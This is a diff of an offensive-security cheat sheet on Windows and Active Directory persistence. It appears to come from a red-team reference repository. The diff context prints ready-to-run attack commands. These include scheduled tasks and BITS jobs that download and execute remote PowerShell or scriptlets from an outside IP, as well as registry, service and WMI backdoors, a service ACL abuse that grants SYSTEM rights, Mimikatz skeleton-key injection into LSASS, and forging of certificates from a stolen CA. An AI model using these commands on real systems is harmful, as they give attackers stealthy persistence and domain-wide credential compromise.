SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
|
||||
```
|
||||
|
||||
* Using Powershell
|
||||
|
||||
```powershell
|
||||
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
|
||||
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
|
||||
|
|
@ -216,6 +221,7 @@ SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -
|
|||
```
|
||||
|
||||
* Using SharPersist
|
||||
|
||||
```powershell
|
||||
# Add to a current scheduled task
|
||||
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
|
||||
|
|
@ -225,7 +231,6 @@ SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -
|
|||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
|
||||
```
|
||||
|
||||
|
||||
### BITS Jobs
|
||||
|
||||
```powershell
|
||||
|
|
@ -242,14 +247,12 @@ bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.1
|
|||
bitsadmin /resume backdoor
|
||||
```
|
||||
|
||||
|
||||
### COM TypeLib
|
||||
|
||||
* [CICADA8-Research/TypeLibWalker](https://github.com/CICADA8-Research/TypeLibWalker) - TypeLib persistence technique
|
||||
|
||||
Use [sysinternals/procmon](https://learn.microsoft.com/fr-fr/sysinternals/downloads/procmon) to find `RegOpenKey` with the status `NAME NOT FOUND`. The process `explorer.exe` is a good target, as it will spawn your payload every time it is run.
|
||||
|
||||
|
||||
```ps1
|
||||
Path: HKCU\Software\Classes\TypeLib\{CLSID}\1.1\0\win32
|
||||
Path: HKCU\Software\Classes\TypeLib\{CLSID}\1.1\0\win64
|
||||
|
|
@ -279,7 +282,6 @@ Example of content for `1.sct`.
|
|||
</scriptlet>
|
||||
```
|
||||
|
||||
|
||||
## Serviceland
|
||||
|
||||
### IIS
|
||||
|
|
@ -311,7 +313,7 @@ Value name: Backdoor
|
|||
Value data: C:\Windows\Temp\backdoor.exe
|
||||
```
|
||||
|
||||
Using the command line
|
||||
Using the command line
|
||||
|
||||
```powershell
|
||||
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
|
||||
|
|
@ -334,7 +336,6 @@ Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
|
|||
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
|
||||
```
|
||||
|
||||
|
||||
#### GlobalFlag
|
||||
|
||||
> Run executable after notepad is killed
|
||||
|
|
@ -370,7 +371,6 @@ sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="
|
|||
sc start Backdoor
|
||||
```
|
||||
|
||||
|
||||
### ServiceSecurityDescriptor
|
||||
|
||||
Allow any arbitrary non-administrative user to have full SYSTEM permissions on a machine persistently by feeding an overly permissive ACL to the service control manager with sdset.
|
||||
|
|
@ -409,7 +409,6 @@ sc create LPE displayName= "LPE" binPath= "C:\Windows\System32\net.exe localgrou
|
|||
|
||||
Then you need to wait for a reboot for the service to automatically start and grant the user with elevated privilege or any persistence mechanism you specified in the `binPath`.
|
||||
|
||||
|
||||
### Scheduled Tasks Elevated
|
||||
|
||||
Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.
|
||||
|
|
@ -451,12 +450,10 @@ schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v
|
|||
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
|
||||
```
|
||||
|
||||
|
||||
### Windows Management Instrumentation Event Subscription
|
||||
|
||||
> An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.
|
||||
|
||||
|
||||
* **__EventFilter**: Trigger (new process, failed logon etc.)
|
||||
* **EventConsumer**: Perform Action (execute payload etc.)
|
||||
* **__FilterToConsumerBinding**: Binds Filter and Consumer Classes
|
||||
|
|
@ -485,7 +482,6 @@ $EventConsumerToCleanup | Remove-WmiObject
|
|||
$EventFilterToCleanup | Remove-WmiObject
|
||||
```
|
||||
|
||||
|
||||
### Binary Replacement
|
||||
|
||||
#### Binary Replacement on Windows XP+
|
||||
|
|
@ -508,12 +504,12 @@ Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** exec
|
|||
|
||||
Create a malicious **HID.dll** in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.
|
||||
|
||||
|
||||
### Skeleton Key
|
||||
|
||||
> Inject a master password into the LSASS process of a Domain Controller.
|
||||
|
||||
Requirements:
|
||||
|
||||
* Domain Administrator (SeDebugPrivilege) or `NTAUTHORITY\SYSTEM`
|
||||
|
||||
```powershell
|
||||
|
|
@ -525,7 +521,6 @@ Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC
|
|||
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
|
||||
```
|
||||
|
||||
|
||||
### Virtual Machines
|
||||
|
||||
> Based on the Shadow Bunny technique.
|
||||
|
|
@ -588,7 +583,6 @@ Add-AppxPackage .\debian.appx
|
|||
wsl kali-linux --user root
|
||||
```
|
||||
|
||||
|
||||
## Domain
|
||||
|
||||
### User Certificate
|
||||
|
|
@ -609,20 +603,25 @@ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid
|
|||
> Require elevated privileges in the Active Directory, or on the ADCS machine
|
||||
|
||||
* Export CA as p12 file: `certsrv.msc` > `Right Click` > `Back up CA...`
|
||||
* Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
|
||||
* Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
|
||||
|
||||
```ps1
|
||||
privilege::debug
|
||||
crypto::capi
|
||||
crypto::cng
|
||||
crypto::certificates /systemstore:local_machine /store:my /export
|
||||
```
|
||||
|
||||
* Alternative 2: Using SharpDPAPI, then convert the certificate: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`
|
||||
* [ForgeCert](https://github.com/GhostPack/ForgeCert) - Forge a certificate for any active domain user using the CA certificate
|
||||
|
||||
```ps1
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
|
||||
```
|
||||
|
||||
* Finally you can request a TGT using the Certificate
|
||||
|
||||
```ps1
|
||||
Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
|
||||
```
|
||||
|
|
@ -661,4 +660,4 @@ Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-admpwdexpirationtime"
|
|||
* [Persistence via WMI Event Subscription - Elastic Security Solution](https://www.elastic.co/guide/en/security/current/persistence-via-wmi-event-subscription.html)
|
||||
* [PrivEsc: Abusing the Service Control Manager for Stealthy & Persistent LPE - 0xv1n - 2023-02-27](https://0xv1n.github.io/posts/scmanager/)
|
||||
* [Sc sdset - Microsoft - 08/31/2016](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742037(v=ws.11))
|
||||
* [Hijack the TypeLib. New COM persistence technique - CICADA8 - October 22, 2024](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
* [Hijack the TypeLib. New COM persistence technique - CICADA8 - October 22, 2024](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
|
|
|
|||
Loading…
Reference in New Issue